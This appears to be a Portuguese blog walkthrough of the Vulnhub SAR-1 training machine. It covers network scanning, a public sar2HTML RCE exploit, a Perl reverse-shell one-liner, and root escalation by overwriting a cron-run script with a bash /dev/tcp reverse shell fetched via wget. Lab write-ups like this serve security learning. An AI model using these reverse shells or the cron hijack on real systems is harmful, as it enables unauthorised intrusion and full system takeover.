Home Vulnhub - SAR-1
Post
Cancel

Vulnhub - SAR-1

Link da Maquina: https://www.vulnhub.com/entry/sar-1,425/

Scan/Enumeracao

Host Discovery

  • Com o comando arp-scan vamos descobrir quais sao os hosts que estao up na rede
1
sudo arp-scan -I eth1 192.168.150.0/24

Port Discovery

  • Vamos descobrir as portas quqe estao abertas no alvo
1
sudo nmap -n -T5 -p- 192.168.150.114 

Port Scan

  • Vamos escanear a porta que esta aberta para descobrir qual o servico que esta rodando e qual a versao
1
sudo nmap -n -T5 -A -p 80 192.168.150.114

POrta 80: Apache httpd 2.4.29

Exploracao

Web

Acessando a pagina pelo browser

  • Na pagina principal da aplicacao temo a “Default Page” do Apache2

Fuzzy de diretorios

  • Rodando o gobuster para procurar por mais arquivos e diretorios
1
gobuster dir -u http://192.168.150.114 -w /usr/share/wordlists/dirb/big.txt -x php,txt

  • Achamos dois arquivos, phpinfo.php e robots.txt. No phpinfo temos as informacoes de configuracao do Apache

  • No outro arquivo robots temos uma palavra sar2HTML

sar2HTML

  • Conseguimos acessar uma outra pagina web com a dica que recebemos no robots: http://192.168.150.114/sar2HTML/

  • Jogando no google o nome da aplicacao ja apareceram inumeros sites com a vulnerabilidade dessa aplicacao

  • Entrando no site www.exploit-db.com e procurando por exploits para o sarHTML versao 3.2.1 temos um para RCE. Inicialmente analisando o exploit, ele e feito em python e a principio consegue executar comando atraves da URL “{url}/index.php?plot=;{cmd}”

  • Vamos baixa-lo, dar permissao de execucao para o script e executa-lo

1 - Executamos o script com python3

2 - Inserimos a URL da aplicacao

3 - Inserimos o comando para ser executado no alvo

RCE / Shell Reverso

  • Agora vamos seguir os seguintes passos:

1 - Deixar uma porta escutando na kali

2 - procurar com o rbscheat um comando par nos enviar um shell em perl. Mas porque em perl? Testamos varios comandos ate termos sucesso com o comando em perl para hosts Linux que nao possuem /bin/sh.

3 - perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.150.110:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

4 - Enviamos para o nosso alvo por meio do exploit

5 - E por fim recebemos o SHELL REVERSO!

Melhorando o Shell

  • Vamos melhorar o nosso shell reverso
1
2
3
script /dev/null
export TERM=xterm
python3 -c "import pty;pty.spawn('/bin/bash')"

Escalando Privilegio

  • Primeiramente procuramos por diretorios e arquivos com pesmissao de escrita. Procuramos tambem por binarios com SUID e listamos o que podemos executar como sudo
1
2
3
4
find / -type d -writable 2> /dev/null | fgrep -v proc
find / -type f -writable 2> /dev/null | fgrep -v proc
find / -perm -4000 2> /dev/null | fgrep -v proc
sudo -l
  • Nao conseguimos achar nada de interessando inicialmente. Entao vamos tranferir o linpeas para o alvo

  • Executamos o linpeas

  • Duas coisas chamaram antencao no resultado do linpeas.

A primeira coisa que nos chama atencao e uma tarefa agendada no crontab

A segunda e que podemos escrever em um arquivo que esta no diretorio /var/spool/cron/crontabs

  • Verificando o /etc/crontab podemos observar que a tarefa se trata em executar um arquivo, /var/www/html/finally.sh

  • Ao verificar esse arquivo observamso que ele executa outro script write.sh, que esta no mesmo diretorio. Para a nossa alegria temos permissao de escrita no arquivo write.sh.

  • Agora vamos criar um arquivo na nossa maquina kali com o nome “write.sh”.
1
2
#!/bin/bash
bash -i >& /dev/tcp/192.168.150.110/443 0<&1

  • Depois de ter feito o arquivo vamos levantar um servidor web com o python na nossa maquina, baixar ele no alvo e dar permissao total pra ele
1
2
wget 192.168.150.110/write.sh
chmod 777 write.sh

  • Agora e so deixar a porta escutando na nossa maquina e qnd o spript for executado a proxima vez viraremos ROOT!

ROOT

  • Pronto, agora somos ROOT!

Flag

  • Conseguimos pegar a flag do user.txt e a root.txt

This post is licensed under CC BY 4.0 by the author.
Contents